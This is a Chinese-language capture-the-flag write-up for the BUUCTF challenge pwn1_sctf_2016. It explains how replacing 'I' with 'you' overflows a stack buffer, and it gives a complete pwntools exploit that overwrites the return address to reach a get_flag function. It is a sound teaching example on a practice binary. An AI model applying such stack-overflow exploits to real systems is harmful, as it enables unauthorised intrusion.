Buu CTF PWN pwn1_sctf_2016 WriteUp

m0sway

已于 2023-04-04 09:24:57 修改

阅读量371

点赞数 1

CC 4.0 BY-SA版权

分类专栏： BUU-PWN 文章标签： pwn wp python 网络安全信息安全

于 2022-03-01 23:49:19 首次发布

本文链接：https://blog.youkuaiyun.com/m0sway/article/details/123219360

BUU-PWN 专栏收录该内容

58 篇文章

订阅专栏

pwn1_sctf_2016

使用checksec查看：
在这里插入图片描述
只开启了栈不可执行。

放进IDA中分析：
在这里插入图片描述

直接给了vuln()函数，跟进查看。

vuln()：
在这里插入图片描述

fgets(&s, 32, edata);：用户可输入32个字符
replace(&v4, &input, &v7);：将字符串I替换成字符串you
strcpy(&s, v1);：最后字符串赋给变量s

通过查找字符串还能找到get_flag()后门函数：
在这里插入图片描述

步骤解析

s距离ebp 0x3C，不能造成栈溢出，但当I转成you时就够了。

直接跳转到后门函数即可。

完整exp

from pwn import *

#start
# r = remote("node4.buuoj.cn",25038)
r = process("../buu/pwn1_sctf_2016")
elf = ELF("../buu/pwn1_sctf_2016")

#params
backdoor = elf.symbols['get_flag']

#atack
payload = b'I'*20 + b'M'*4 + p32(0x8048F0D)
r.sendline(payload)

r.interactive()